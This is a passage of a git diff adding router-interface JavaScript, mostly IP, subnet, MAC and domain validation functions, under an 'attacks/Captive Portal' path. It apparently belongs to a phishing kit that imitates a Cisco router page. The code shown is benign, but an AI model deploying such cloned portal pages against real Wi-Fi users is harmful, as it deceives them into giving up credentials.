> 0 ) + broadcast_ip += (255-parseInt(mask[i],10)); + else + broadcast_ip += "255"; + } + //alert("subnet_ip="+subnet_ip+";broadcast_ip="+broadcast_ip); + if ( ip_val == subnet_ip || ip_val==broadcast_ip ) return false; + return true; +} + +function valid_ip_gw(F,I,N,G) +{ + var IP = new Array(4); + var NM = new Array(4); + var GW = new Array(4); + + for(i=0;i<4;i++) + IP[i] = eval(I+"_"+i).value; + for(i=0;i<4;i++) + NM[i] = eval(N+"_"+i).value; + for(i=0;i<4;i++) + GW[i] = eval(G+"_"+i).value; + + for(i=0;i<4;i++){ + if((IP[i] & NM[i]) != (GW[i] & NM[i])){ + //alert("IP address and gateway address are not using the same subnet mask."); + //alert(errmsg.err32); + return false; + } + } + if((IP[0] == GW[0]) && (IP[1] == GW[1]) && (IP[2] == GW[2]) && (IP[3] == GW[3])){ + //alert("IP address and gateway address cannot be the same."); + //alert(errmsg.err33); + return false; + } + + return true; +} + +function swap_num(num1,num2) +{ + var num_array = new Array(); + num_array[0] = num2; + num_array[1] = num1; + return num_array; +} + +function check_port(i_startport,i_endport,o_startport,o_endport) +{ + var num_array = new Array(); + if(i_startport > i_endport) + { + num_array = swap_num(i_startport,i_endport); + i_startport = num_array[0]; + i_endport = num_array[1]; + } + + if(o_startport > o_endport) + { + num_array = swap_num(o_startport,o_endport); + o_startport = num_array[0]; + o_endport = num_array[1]; + } + + if((i_startport <= o_startport) && (i_endport >= o_endport)) + return false; + else if((i_startport >= o_startport) && (i_startport <= o_endport) && (i_endport >= o_endport)) + return false; + else if((i_endport >= o_startport) && (i_endport <= o_endport)) + return false; + else if((i_startport >= o_startport) && (i_endport <= o_endport)) + return false; + else if((i_startport == o_endport) || (i_endport == o_startport) || (i_endport == o_endport)) + return false; + + return true; +} + +function valid_subnet(I,N,G) +{ + var IP = new Array(4); + var NM = new Array(4); + var GW = new Array(4); + + IP = I.split("."); + NM = N.split("."); + GW = G.split("."); + for(i=0;i<4;i++){ + if((IP[i] & NM[i]) != (GW[i] & NM[i])){ + return false; + } + } + return true; +} + +function chk_change(def,chg) +{ + var failflg = false; + if ( def.length != chg.length ) failflg = true; + if ( def != chg ) failflg = true; + if ( failflg == true ) + parent.document.getElementById("GUI_LOCK").value = 1; + else + parent.document.getElementById("GUI_LOCK").value = 0; +} + +function CheckBrowser(){ + var cb = "UnKnow"; + if ( window.ActiveXObject ) + cb = "IE" ; + else if ( navigator.userAgent.toLowerCase().indexOf("firefox") != -1 ) + cb = "Firefox"; + else if ( navigator.userAgent.toLowerCase().indexOf("opera") != -1 ) + cb = "Opera"; + else if ( navigator.userAgent.toLowerCase().indexOf("safari") != -1 ) + cb = "Safari"; + else if ( (typeof document.implementation != "undefined") && (typeof document.implementation.createDocument != "undefined") && (typeof HTMLDocument != "undefined" )) + cb = "Mozila"; + return cb; +} + +function check_ip_domain(value) +{ + var count = 0; + var flag = false; + for(i=0; i 3) + flag = true; + else if(ch.search(/^[0-9.]/i) == -1) + flag = true; + } + if(flag == true) + return check_domain(value); + else if(flag == false) + { + if( check_ipv4(value,VALID_IP_RULE7) == PASS ) + return true; + else + return false; + } + +} + +function check_domain(domain_main) +{ + var sub_name; + var temp_firstchar; + var temp_endchar; + if ( (domain_main.length==0) || (domain_main==null) || (domain_main.length > 256)) + return false; + else + { + temp_firstchar = domain_main.charAt(0); + temp_endchar = domain_main.charAt(domain_main.length-1); + if((temp_firstchar.search(/^[A-Za-z0-9]/i) == -1) || + (temp_endchar.search(/^[A-Za-z0-9]/i) == -1)) + return false; + } + + sub_name = domain_main.split(/\./); + if(sub_name.length < 2) // Support google.com + return false; + + for(var i = 0; i < sub_name.length; i++) + { + if((sub_name[i].length > 0) && (sub_name[i].length > 63)) + { + return false; + } + else if( !chk_chartype(sub_name[i],ISCHAR)) + { + return false; + } + } + if ( sub_name.length == 4) + { + if((!isNaN(sub_name[0]))&&(!isNaN(sub_name[1]))&&(!isNaN(sub_name[2]))&&(!isNaN(sub_name[3]))) + return false; + } + else if ( sub_name.length == 3) + { + if((!isNaN(sub_name[0]))&&(!isNaN(sub_name[1]))&&(!isNaN(sub_name[2]))) + return false; + } + else if ( sub_name.length == 2) + { + if((!isNaN(sub_name[0]))&&(!isNaN(sub_name[1]))) + return false; + } + + return true; + +} + +function check_url(domain_main) +{ + var sub_name; + var temp_firstchar; + var temp_endchar; + if ( (domain_main.length==0) || (domain_main==null) || (domain_main.length > 256)) + return false; + else + { + temp_firstchar = domain_main.charAt(0); + temp_endchar = domain_main.charAt(domain_main.length-1); + if((temp_firstchar.search(/^[A-Za-z0-9]/i) == -1) || + (temp_endchar.search(/^[A-Za-z0-9\/]/i) == -1)) + return false; + } + + sub_name = domain_main.split(/\./); + if(sub_name.length < 2) // Support google.com + return false; + + for(var i = 0; i < sub_name.length; i++) + { + if((sub_name[i].length > 0) && (sub_name[i].length < 2) || (sub_name[i].length > 63)) + return false; + //else if(check_char(sub_name[i])) Support http:// + // return false; + } + if ( sub_name.length == 4) + { + if((!isNaN(sub_name[0]))&&(!isNaN(sub_name[1]))&&(!isNaN(sub_name[2]))&&(!isNaN(sub_name[3]))) + return false; + } + else if ( sub_name.length == 3) + { + if((!isNaN(sub_name[0]))&&(!isNaN(sub_name[1]))&&(!isNaN(sub_name[2]))) + return false; + } + else if ( sub_name.length == 2) + { + if((!isNaN(sub_name[0]))&&(!isNaN(sub_name[1]))) + return false; + } + + return true; + +} + +//Add check ipv6 address format +function substr_count (haystack, needle, offset, length) +{ + var pos = 0, cnt = 0; + haystack += ''; + needle += ''; + + if (isNaN(offset)) + offset = 0; + + if (isNaN(length)) + length = 0; + + offset--; + + while ((offset = haystack.indexOf(needle, offset+1)) != -1) + { + if (length > 0 && (offset+needle.length) > length) + return false; + else + cnt++; + } + + return cnt; +} + +var lan_arr = new Array(); +function LAN(vlan_id,ipaddr,netmask,proto,dhcprelay_ip,start_ip,user_num,lease_time,dns1,dns2,dns3,wins) +{ + this.vlan_id = vlan_id; + this.ipaddr = ipaddr; + this.netmask = netmask; + this.proto = proto; + this.dhcprelay_ip = dhcprelay_ip; + this.start_ip = start_ip; + this.user_num = user_num; + this.lease_time = lease_time; + this.dns1=dns1; + this.dns2=dns2; + this.dns3=dns3; + this.wins=wins; +} +lan_arr[0]=new LAN('1','192.168.1.1','255.255.255.0','dhcp','0.0.0.0','100','50','1440','0.0.0.0','0.0.0.0','0.0.0.0','0.0.0.0','0'); + + +function lan_subnet_ip(ipaddr) +{ + for(var j=0; j=prefix_len; i--) + { + if ( binary_str.charAt(i) != '0' ) + return false; + } + return true; + +} + +function check_ipv6_subnet(ipaddr,prefix_len,cmp_ipaddr) +{ + var new_ipaddr = new Array(); + var new_cmp_ipaddr = new Array(); + var len=0,cmp_len=0; + var binary_str="",cmp_binary_str=""; + new_ipaddr = trans_ipv6_array(ipaddr); + new_cmp_ipaddr = trans_ipv6_array(cmp_ipaddr); + for(var i=0; i<8; i++) + { + binary_str += trans_16to2(new_ipaddr[i]); + cmp_binary_str += trans_16to2(new_cmp_ipaddr[i]); + } + //alert(binary_str+"\n"+cmp_binary_str); + for(var i=0; i 7 ) + return __T(msg.ivalidipformat); + if (ipaddr.indexOf(":::") != -1){ + return __T(msg.ivalidipformat); + } + if (ipaddr.indexOf("::") != -1){ + case_ip = 1; + ipchar1 = ipaddr.split('::'); + + }else{ + case_ip = 2; + ipchar = ipaddr.split(':'); + } + if ( ipaddr.split(":").length > 8 ) + return __T(msg.ivalidipformat); + + } + switch(case_ip){ + case 1: + /* other case */ + if (ipchar1.length > 2){ + return __T(msg.ivalidipformat); + } + for (var i=0;i<2;i++){ + if (ipchar1[i].indexOf(":") != -1){ + ipchar2 = ipchar1[i].split(':'); + for (var j=0; j 4) error = 3; + if (!isValidIPv6addr_Code(ipchar2[j])) + error = 1; + } + }else{ + if (ipchar1[i].length > 4) error = 3; + if (!isValidIPv6addr_Code(ipchar1[i])) error = 1; + } + } + break; + case 2: + /* normal case */ + if (ipchar.length != 8) error = 3; + for (var i=0;i 4) error = 3; + if (ipchar[i] != ''){ + if (!isValidIPv6addr_Code(ipchar[i])) + error=1; + } + } + break; + } + if ( error != 0 ) + return __T(msg.ivalidipformat); + else + return ""; +} + +function isValidIPv6addr_Code(word){ + for (var i=0 ; i maxValue) { + return false; + } + return true; +} + +function test_ipv6(ip) +{ + // Test for empty address + if (ip.length<3) + return ip == "::"; + + // Check if part is in IPv4 format + if (ip.indexOf('.')>0) + { + lastcolon = ip.lastIndexOf(':'); + if (!(lastcolon && check_ipv4(ip.substr(lastcolon + 1),VALID_IP_RULE7)<=0)) + return false; + // replace IPv4 part with dummy + ip = ip.substr(0, lastcolon) + ':0:0'; + } + + // Check uncompressed + if (ip.indexOf('::')<0) + { + var match = ip.match(/^(?:[a-f0-9]{1,4}:){7}[a-f0-9]{1,4}$/i); + return match != null; + } + // Check colon-count for compressed format + if (substr_count(ip, ':') < 8) + { + var match = ip.match(/^(?::|(?:[a-f0-9]{1,4}:)+):(?:(?:[a-f0-9]{1,4}:)*[a-f0-9]{1,4})?$/i); + return match != null; + } + + // Not a valid IPv6 address + return false; +} + +function chk_fqdn(fqdn_val,obj_id) +{ + var ret_val = true; + if ( fqdn_val.indexOf(".") == -1 ) + { + var ret_msg = valid_hostname(fqdn_val); + if ( ret_msg != "" ) + { + my_alert(O_VAR,obj_id,__T(msg.validname),"0","msg_"+obj_id); + ret_val = false; + } + } + else + { + if ( fqdn_val.indexOf("@") != -1 ) + fqdn_val = fqdn_val.replace("@","."); + if(check_domain(fqdn_val) == false) + { + my_alert(O_VAR,obj_id,__T(msg.validname),"0","msg_"+obj_id); + ret_val = false; + } + } + return ret_val; +} +// VALID CHECK FUNCTION END ====================================================================================== diff --git a/attacks/Captive Portal/sites/Cisco_it.portal/js/func.js b/attacks/Captive Portal/sites/Cisco_it.portal/js/func.js new file mode 100644 index 0000000..5f7dc86 --- /dev/null +++ b/attacks/Captive Portal/sites/Cisco_it.portal/js/func.js @@ -0,0 +1,2000 @@ +// Help and Message ========================================================== + + +var HelpOptionsVar = "width=480,height=420,scrollbars,toolbar,resizable,dependent=yes"; +var GlossOptionsVar = "width=420,height=180,scrollbars,toolbar,resizable,dependent=yes"; +var bigsub = "width=700,height=440,scrollbars,menubar,resizable,status,dependent=yes"; +var macfiltersub = "width=700,height=550,scrollbars,menubar,resizable,status,dependent=yes"; +var pclistsub = "width=700,height=620,scrollbars,menubar,resizable,status,dependent=yes"; +var portinfoub = "width=700,height=660,scrollbars,menubar,resizable,status,dependent=yes"; +var summarysub = "width=700,height=500,scrollbars,menubar,resizable,status,dependent=yes"; +var smallsub = "width=440,height=320,scrollbars,resizable,dependent=yes"; +var sersub = "width=500,height=380,scrollbars,resizable,status,dependent=yes"; +var multisub = "width=630,height=470,scrollbars,menubar,resizable,status,dependent=yes"; +var helpWinVar = null; +var glossWinVar = null; +var datSubWinVar = null; +var ValidStr = 'abcdefghijklmnopqrstuvwxyz-'; +var ValidStr_ddns = 'abcdefghijklmnopqrstuvwxyz-1234567890'; +var hex_str = "ABCDEFabcdef0123456789"; +var DEBUG = 0; +var fontScale=1; +var rtime; +function showMsg() +{ + var msgVar=document.forms[0].message.value; + if (msgVar.length > 1) + rALERT("", msgVar); +} +function checkMsg(msg) +{ + if(msg.length > 1) + { + rALERT("", msg); + return false; + } + return true; +} + +function setHTML(windowObj, el, htmlStr) // el must be str, not reference +{ + if (document.all) + { + if (windowObj.document.all(el) ) + windowObj.document.all(el).innerHTML = htmlStr; + } + else if (document.getElementById) + { + if (windowObj.document.getElementById(el) ) + windowObj.document.getElementById(el).innerHTML = htmlStr; + } +} + + +function closeWin(win_var) +{ + if ( ((win_var != null) && (win_var.close)) || ((win_var != null) && (win_var.closed==false)) ) + win_var.close(); +} + +function openHelpWin(file_name) +{ + helpWinVar = window.open(file_name,'help_win',HelpOptionsVar); + if (helpWinVar.focus) + setTimeout('helpWinVar.focus()',200); +} + +function openGlossWin() +{ + glossWinVar = window.open('','gloss_win',GlossOptionsVar); + if (glossWinVar.focus) + setTimeout('glossWinVar.focus()',200); +} + +function closeSubWins() +{ + closeWin(helpWinVar); + closeWin(glossWinVar); + closeWin(datSubWinVar); +} + +function openDataSubWin(filename,win_type) +{ + closeWin(datSubWinVar); + datSubWinVar = window.open(filename,'datasub_win',win_type); + if (datSubWinVar.focus) + setTimeout('datSubWinVar.focus()',200); +} + +function showHelp(helpfile) +{ + if(top.frames.length == 0) + return; + top.helpframe.location.href = helpfile; +} + + +function addstr(input_msg) +{ + var last_msg = ""; + var str_location; + var temp_str_1 = ""; + var temp_str_2 = ""; + var str_num = 0; + temp_str_1 = addstr.arguments[0]; + while(1) + { + str_location = temp_str_1.indexOf("%s"); + if(str_location >= 0) + { + str_num++; + temp_str_2 = temp_str_1.substring(0,str_location); + last_msg += temp_str_2 + addstr.arguments[str_num]; + temp_str_1 = temp_str_1.substring(str_location+2,temp_str_1.length); + continue; + } + if(str_location < 0) + { + last_msg += temp_str_1; + break; + } + } + return last_msg; +} + + + + +// High-level test functions - generate messages + +function checkBlank(fieldObj, fname) +{ + var msg = ""; + if (fieldObj.value.length < 1){ + msg = addstr(msg_blank,fname); + } + return msg; +} + +function checkNoBlanks(fObj, fname) +{ + var space = " "; + if (fObj.value.indexOf(space) >= 0 ) + return addstr(msg_space, fname); + else return ""; +} + +// add by barry,7.27,2005 +function checkMail(fobj, fname) +{ + var tmp_str = fobj.value; + var msg = ""; + + //matching Email address format(regular expression) + var pattern = /^\w+([-+.]\w+)*@\w+([-.]\\w+)*\w+([-.]\w+)*$/; + + if(!pattern.test(tmp_str)) + msg = addstr(msg_invalid_email, fname); + + return msg; +} + +function checkAllSpaces(fieldObj, fname) +{ + var msg = ""; + if(fieldObj.value.length == 0) + return ""; + var tstr = makeStr(fieldObj.value.length," "); + if (tstr == fieldObj.value) + msg = addstr(msg_allspaces,fname); + return msg; +} + +function checkValid(text_input_field, field_name, Valid_Str, max_size, mustFill) +{ + var error_msg= ""; + var size = text_input_field.value.length; + var str = text_input_field.value; + + if ((mustFill) && (size != max_size) ) + error_msg = addstr(msg_blank_in,field_name); + for (var i=0; i < size; i++) + { + if (!(Valid_Str.indexOf(str.charAt(i)) >= 0)) + { + error_msg = addstr(msg_invalid,field_name,Valid_Str); + break; + } + } + return error_msg; +} + +function checkvaluerange(text_input_field, min_value, max_value) +// NOTE: Doesn't allow negative numbers, required is true/false +{ + var str = text_input_field.value; + + if (text_input_field.value.length==0) // blank + { +// if (required) + return false; + } + else // not blank, check contents + { + for (var i=0; i < str.length; i++) + { + if ((str.charAt(i) < '0') || (str.charAt(i) > '9')) + return false; + } + if ( true) // don't parse if invalid + { + var int_value = parseInt(str,10); + if (int_value < min_value || int_value > max_value) + return false; + } + } + return true; +} + +function checkInt(text_input_field, field_name, min_value, max_value, required) +// NOTE: Doesn't allow negative numbers, required is true/false +{ + var str = text_input_field.value; + var error_msg= ""; + + if (text_input_field.value.length==0) // blank + { + if (required) + error_msg = addstr(msg_blank,field_name); + } + else // not blank, check contents + { + for (var i=0; i < str.length; i++) + { + if ((str.charAt(i) < '0') || (str.charAt(i) > '9')) + error_msg = addstr(msg_check_invalid,field_name); + } + if (error_msg.length < 2) // don't parse if invalid + { + var int_value = parseInt(str,10); + if (int_value < min_value || int_value > max_value) + error_msg = addstr(msg_valid_range,field_name,min_value,max_value); + } + } + return(error_msg); +} + +function checkMAC(fObj, fname, removeSeparators) +{ + var msg = ""; + if(badMac(fObj, removeSeparators)) + msg = addstr(msg_invalid_mac, fname); + return msg; +} + + +// Low-level test functions - return true or false ============================ + + +function blankIP(ip1, ip2, ip3, ip4) // ip fields, true if 0 or blank +{ +return ((ip1.value == "" || ip1.value == "0") + && (ip2.value == "" || ip2.value == "0") + && (ip3.value == "" || ip3.value == "0") + && (ip4.value == "" || ip4.value == "0")) +} + +function badIP(ip1, ip2, ip3, ip4, max) // ip fields, 1.0.0.1 to 254.255.255.max +{ + if(!(isInteger(ip1.value,1,254,false))) return true; + if(!(isInteger(ip2.value,0,255,false))) return true; + if(!(isInteger(ip3.value,0,255,false))) return true; + if(!(isInteger(ip4.value,0,max,false))) return true; + if(parseInt(ip1.value) == 127 +// parseInt(ip2.value) == 0 && +// parseInt(ip3.value) == 0 && +// parseInt(ip4.value) == 1 + ) + return true; + return false; +} +function badIP2(obj) +{ + var valid_ip = /^((\d{1,3}\.){3})(\d{1,3})$/; + + if(!valid_ip.test(obj.value)) + { + return true; + } + else + { + var ip_array = new Array(4); + ip_array = obj.value.split("."); + + if(!(isInteger(ip_array[0],1,254,false))) return true; + if(!(isInteger(ip_array[1],0,255,false))) return true; + if(!(isInteger(ip_array[2],0,255,false))) return true; + if(!(isInteger(ip_array[3],0,254,false))) return true; + if(parseInt(ip_array[0]) == 127 +// parseInt(ip_array[1]) == 0 && +// parseInt(ip_array[2]) == 0 && +// parseInt(ip_array[3]) == 1 + ) + return true; + } + return false; + +} +function badSubnetIP(ip1, ip2, ip3, ip4, max) // ip fields 1.0.0.0. to 255.255.255.max +{ + if(!(isInteger(ip1.value,1,254,false))) return true; + if(!(isInteger(ip2.value,0,255,false))) return true; + if(!(isInteger(ip3.value,0,255,false))) return true; + if(!(isInteger(ip4.value,0,max,false))) return true; + return false; +} + +function badDestSubnetIP(ip1, ip2, ip3, ip4, max) // ip fields 0.0.0.0. to 255.255.255.max +{ + if(!(isInteger(ip1.value,0,254,false))) return true; + if(!(isInteger(ip2.value,0,255,false))) return true; + if(!(isInteger(ip3.value,0,255,false))) return true; + if(!(isInteger(ip4.value,0,max,false))) return true; + return false; +} + +function isipmask(val) +{ + if( (val == 255)||(val == 254)||(val == 252)||(val == 248)|| + (val == 240)||(val == 224)||(val == 192)||(val == 128)||(val == 0)) + return true; + return false; +} + +function badMask(ip1, ip2, ip3, ip4) // mask fields 0 to 255 +{ + var ipstr = ""; + + if(!isipmask(parseInt(ip1.value))) return true; + if(!isipmask(parseInt(ip2.value))) return true; + if(!isipmask(parseInt(ip3.value))) return true; + if(!isipmask(parseInt(ip4.value))) return true; + + if(parseInt(ip1.value) == 0) + ipstr += 0; + else + ipstr += 1; + if (parseInt(ip1.value) != 255 && parseInt(ip2.value) != 0 ) + return true; + + if(parseInt(ip2.value) == 0) + ipstr += 0; + else + ipstr += 1; + if (parseInt(ip2.value) != 255 && parseInt(ip3.value) != 0 ) + return true; + + if(parseInt(ip3.value) == 0) + ipstr += 0; + else + ipstr += 1; + if (parseInt(ip3.value) != 255 && parseInt(ip4.value) != 0 ) + return true; + + if(parseInt(ip4.value) == 0) + ipstr += 0; + else + ipstr += 1; + + if((ipstr=="1111")||(ipstr=="1110")||(ipstr=="1100")||(ipstr=="1000")) + return false; + + return true; +} + + +function badMac(macfld, removeSeparators) // macfld is form field, removeSeparators true/false +{ + var myRE = /[0-9a-fA-F]{12}/; + var MAC = macfld.value; + + MAC = MAC.replace(/:/g,""); + MAC = MAC.replace(/-/g,""); + if (removeSeparators) + macfld.value = MAC; + if((MAC.length != 12) || (MAC == "000000000000")||(myRE.test(MAC)!=true)) + return true; + else + return false; +} + +function ValidMacAddress(macAddr) +{ + var i; + + macAddr=macAddr.toUpperCase(); + + if ((macAddr.indexOf(':')!=-1)||(macAddr.indexOf('-')!=-1)) + { + macAddr = macAddr.replace(/:/g,""); + macAddr = macAddr.replace(/-/g,""); + } + + if ((macAddr.length == 12) && (macAddr != "000000000000") && (macAddr != "FFFFFFFFFFFF")) + { + for(i=0; i to ) +{ + var total1 = 0; + var total2 = 0; + + total1 += parseInt(from4.value,10); + total1 += parseInt(from3.value,10)*256; + total1 += parseInt(from2.value,10)*256*256; + total1 += parseInt(from1.value,10)*256*256*256; + + total2 += parseInt(to4.value,10); + total2 += parseInt(to3.value,10)*256; + total2 += parseInt(to2.value,10)*256*256; + total2 += parseInt(to1.value,10)*256*256*256; + if(total1 >= total2) + return true; + return false; +} + +function checkItem(fieldObj) +{ + if (fieldObj.value.length < 1){ + return false; + } + return true; +} + +function checkipmaskgw(ip1, ip2, ip3, ip4, mask1, mask2, mask3, mask4, gw1, gw2, gw3, gw4, + msg_invalid_ip, msg_invalid_mask, msg_invalid_gw, msg_ip_mask_mismatch, msg_gw_wrong_subnet) +{ + var ipaddr=0, netmask=0, gateway=0; + var msg = ""; + + if(badIP(ip1, ip2, ip3, ip4, 255)) { + msg+= msg_invalid_ip; + } + + if(badMask(mask1, mask2, mask3, mask4)) { + msg+= msg_invalid_mask; + } + + if(badIP(gw1, gw2, gw3, gw4, 255)) { + msg+= msg_invalid_gw; + } + + if(msg.length <= 0) { + ipaddr = (ip1.value << 24) | (ip2.value << 16) | (ip3.value << 8) | ip4.value; + netmask = (mask1.value << 24) | (mask2.value << 16) | (mask3.value << 8) | mask4.value; + gateway = (gw1.value << 24) | (gw2.value << 16) | (gw3.value << 8) | gw4.value; + + if (0 == (ipaddr&~netmask) || 0 == ~(ipaddr|netmask)) { + msg+=msg_ip_mask_mismatch; + } + if (0 != gateway) { + if (0 == (gateway&~netmask) || 0 == ~(gateway|netmask)) { + msg+=msg_invalid_gw; + } + if ((ipaddr&netmask) != (gateway&netmask)) { + msg+=msg_gw_wrong_subnet; + } + } + } + + return msg; +} + + + +function isBlank(str) +{ + return (str.length == 0 ); +} + + +function isBigger(str_a, str_b) +// true if a bigger than b +{ + var int_value_a = parseInt(str_a); + var int_value_b = parseInt(str_b); + return (int_value_a > int_value_b); +} + +function isInteger(str,min_value,max_value,allowBlank) // allowBlank = true or false +// return true if positive Integer, false otherwise +{ + if(str.length == 0) + if(allowBlank) + return true; + else + return false; + for (var i=0; i < str.length; i++) + { + if ((str.charAt(i) < '0') || (str.charAt(i) > '9')) + return false; + } + var int_value = parseInt(str,10); + if ((int_value < min_value) || (int_value > max_value)) + return false; + return true; +} + + +function isHex(str) { + var i; + for(i = 0; i= "0" && c <= "9") + continue; + if ( c == '-' && i !=0 && i != (str.length-1) ) + continue; + if ( c == ',' ) continue; + if (c == ' ') continue; + if (c>= 'A' && c <= 'Z') continue; + if (c>= 'a' && c <= 'z') continue; + return false; + } + return true; +} + +function checkDay(year,month,day) // check if valid date +{ + var isleap = false; + if(year%400 == 0 || (year%4 == 0 && year%100 != 0)) + isleap = true; + if(month%2) + { + if((month<=7)&&(day>31)) + return false; + if((month>7)&&(day>30)) + return false; + } + else + { + if(month<=6) + { + if(month == 2) + { + if((isleap)&&(day>29)) + { + return false; + } + if((!isleap)&&(day>28)) + { + return false; + } + } + else + { + if(day > 30) + return false; + } + } + else + if(day>31) + return false; + } + return true; +} + +function CheckSpaceInName(text_input_field) +//not allow space in name, +{ + if (text_input_field.value.length>1) + { + for (var i=0;i"subscription_status" change +function checkstatus(obj) +{ + + + if(obj==0 || obj == 10) + { + top.document.getElementById("PL_show_1").className="pro_hidden"; + top.document.getElementById("PL_show_2").className="pro_hidden"; + top.document.getElementById("PL_show_3").className="pro_hidden"; + } + else + { + top.document.getElementById("PL_show_1").className="pro_show"; + top.document.getElementById("PL_show_2").className="pro_show"; + top.document.getElementById("PL_show_3").className="pro_show"; + } + +} +// Utility & Misc functions =================================================== + +//false: valide ip address, true: invalid ip address +function checkIPAddress(ipbox, max, bAllowBlank) +{ + if(bAllowBlank == true) + { + if((eval("document.forms[0]."+ipbox+"1").value == "0"||eval("document.forms[0]."+ipbox+"1").value == "") + && (eval("document.forms[0]."+ipbox+"2").value == "0"||eval("document.forms[0]."+ipbox+"2").value == "") + && (eval("document.forms[0]."+ipbox+"3").value == "0"||eval("document.forms[0]."+ipbox+"3").value == "") + && (eval("document.forms[0]."+ipbox+"4").value == "0"||eval("document.forms[0]."+ipbox+"4").value == "")) + return false; + } + + return checkIP( eval("document.forms[0]."+ipbox+"1"), + eval("document.forms[0]."+ipbox+"2"), + eval("document.forms[0]."+ipbox+"3"), + eval("document.forms[0]."+ipbox+"4"), max); +} + +function check_vip(ip1, ip2, ip3, ip4, max) { + if(checkIPMain(ip1,255)) return true; + if(checkIPMain(ip2,255)) return true; + if(checkIPMain(ip3,255)) return true; + if(checkIPMain(ip4,max)) return true; + if((parseInt(ip1.value)==0)||(parseInt(ip1.value)==0)&&(parseInt(ip2.value)==0)&&(parseInt(ip3.value)==0)&&(parseInt(ip4.value)==0)) + return true; + return false; +} + +/* Check IP Address Format*/ +function checkIPMain(ip,max) +{ + if( false == isNumeric(ip, max) ) + { + ip.focus(); + return true; + } + + return false; +} + +function _isNumeric(str) { + var i; + for(i = 0; i 1) + str.value = str.value.replace(/^0/g,""); + } + + if(str.value.length == 0 || str.value == null || str.value == "") { + str.focus(); + return false; + } + + var i = parseInt(str.value); + + if(i>max) { + str.focus(); + return false; + } + for(i=0; i= 4 )) +ns4 = ((navigator.appName == "Netscape") && (parseInt(navigator.appVersion) < 6 )) +ns6 = ((navigator.appName == "Netscape") && (parseInt(navigator.appVersion) >= 6 )) + +// 0.0.0.0 +var ZERO_NO = 1; // 0x0000 0001 +var ZERO_OK = 2; // 0x0000 0010 +// x.x.x.0 +var MASK_NO = 4; // 0x0000 0100 +var MASK_OK = 8; // 0x0000 1000 +// 255.255.255.255 +var BCST_NO = 16; // 0x0001 0000 +var BCST_OK = 32; // 0x0010 0000 + +var SPACE_NO = 1; +var SPACE_OK = 2; + +function choose_disable(dis_object) +{ + if(!dis_object) return; + dis_object.disabled = true; + + if(!ns4) + dis_object.style.backgroundColor = "#e0e0e0"; +} + +function check(val) +{ + if((parseInt(val) >= 0)&&(parseInt(val) <= 255)) + return true; + else + return false; +} + +function ip_to_str(val) +{ + var i = parseInt(val); + var j = 0; + var str = ""; + + for(j = 0; j < 8; j++) + { + str = parseInt(i%2) + str; + i = parseInt(i/2); + } + + return str; +} + +function check_is_ip(ip1,ip2,ip3,ip4,mask1,mask2,mask3,mask4) +{ + var i = 0; + var tag = true; + ip_str = ""; + var mask = ""; + mask_length = 0; + + if(check(mask1.value) && + check(mask2.value) && + check(mask3.value) && + check(mask4.value) ) + { + mask += ip_to_str(parseInt(mask1.value)); + mask += ip_to_str(parseInt(mask2.value)); + mask += ip_to_str(parseInt(mask3.value)); + mask += ip_to_str(parseInt(mask4.value)); + }else + return false; + + for(i=0;i<32;i++) + if(mask.charAt(i) == "1") + mask_length++; + + if(check(ip1.value) && + check(ip2.value) && + check(ip3.value) && + check(ip4.value) ) + { + ip_str += ip_to_str(parseInt(ip1.value)); + ip_str += ip_to_str(parseInt(ip2.value)); + ip_str += ip_to_str(parseInt(ip3.value)); + ip_str += ip_to_str(parseInt(ip4.value)); + }else + return false; + for( i = mask_length; i < 32; i++) + if(ip_str.charAt(i) == "0") + tag = false; + + if(ip_str == "11111111111111111111111111111111") + return false; + + if( tag == false) + return true; + else + return false; +} + +function is_same_net(wan_mask_1,wan_mask_2,wan_mask_3,wan_mask_4, + wan_ip_1,wan_ip_2,wan_ip_3,wan_ip_4, + wan_gw_1,wan_gw_2,wan_gw_3,wan_gw_4) +{ + var mask; + var wan_ip; + var gw_ip; + var mask = ""; + mask_length = 0; + + mask = ip_to_str(parseInt(wan_mask_1))+ip_to_str(parseInt(wan_mask_2))+ip_to_str(parseInt(wan_mask_3))+ip_to_str(parseInt(wan_mask_4)); + wan_ip = ip_to_str(parseInt(wan_ip_1))+ip_to_str(parseInt(wan_ip_2))+ip_to_str(parseInt(wan_ip_3))+ip_to_str(parseInt(wan_ip_4)); + gw_ip = ip_to_str(parseInt(wan_gw_1))+ip_to_str(parseInt(wan_gw_2))+ip_to_str(parseInt(wan_gw_3))+ip_to_str(parseInt(wan_gw_4)); + + for(i=0;i<32;i++) + if(mask.charAt(i) == "1") + mask_length++; + + for( i = 0; i < mask_length; i++) + if(wan_ip.charAt(i) != gw_ip.charAt(i)) + return false; + + return true; +} +// add for checking invalid characters +function is_valid_string(object, needed, fname) +{ + var msg=""; + var invalid_str = "`~!@#$^*()=+[]{}\\|;:\'\",<>/?"; + var str = object.value; + msg +=checkBlank(object, fname); + if((msg.length > 1)) + { + if(needed) + return msg; + else + return ""; + } + msg = ""; + for(i = 0; i < invalid_str.length; i++) + { + if(str.indexOf(invalid_str.charAt(i)) != -1) + { + msg = fname + invalid_string; + break; + } + } + return msg; + + +} + +function check_valid_macs(message_title, macs) { + var i,j; + var macvalue; + var myRE = /[0-9a-fA-F]{12}/; + + /* Change the MAC Address format to XX:XX:XX:XX:XX:XX at first */ + for(i=1; i=7) + { + lanipArray=lanip.value.split("."); + // alert("lanip = "+lanip.value); + lanmaskArray=lanmask.value.split("."); + // alert("lanmsk = "+lanmask.value); + if(false==badNetworkIP(lanipArray[0],lanipArray[1],lanipArray[2],lanipArray[3],lanmaskArray[0],lanmaskArray[1],lanmaskArray[2],lanmaskArray[3],gw1,gw2,gw3,gw4)) + { + flag=1; + } + } + //alert("check wan ip"); + if(wanip.value.length>=7) + { + wanipArray=wanip.value.split("."); + //alert("wanip = "+wanip.value); + wanmaskArray=wanmask.value.split("."); + //alert("wanmsk = "+wanmask.value); + if(false==badNetworkIP(wanipArray[0],wanipArray[1],wanipArray[2],wanipArray[3],wanmaskArray[0],wanmaskArray[1],wanmaskArray[2],wanmaskArray[3],gw1,gw2,gw3,gw4)) + { + flag=1; + } + } + if(flag==0) + return 3; + + return false; +} + +function feat_ip(ip1, ip2, ip3, ip4, max,local_ip) +{ + var strlocalip=new Array(); + + strlocalip=local_ip.split("."); + + + if( (parseInt(ip1.value) == strlocalip[0]) + && (parseInt(ip2.value) == strlocalip[1]) + && (parseInt(ip3.value) == strlocalip[2]) + && (parseInt(ip4.value) == strlocalip[3]) ) + { + return true; + } + + if( (parseInt(ip1.value) == 127) + && (parseInt(ip2.value) == 0) + && (parseInt(ip3.value) == 0) + && 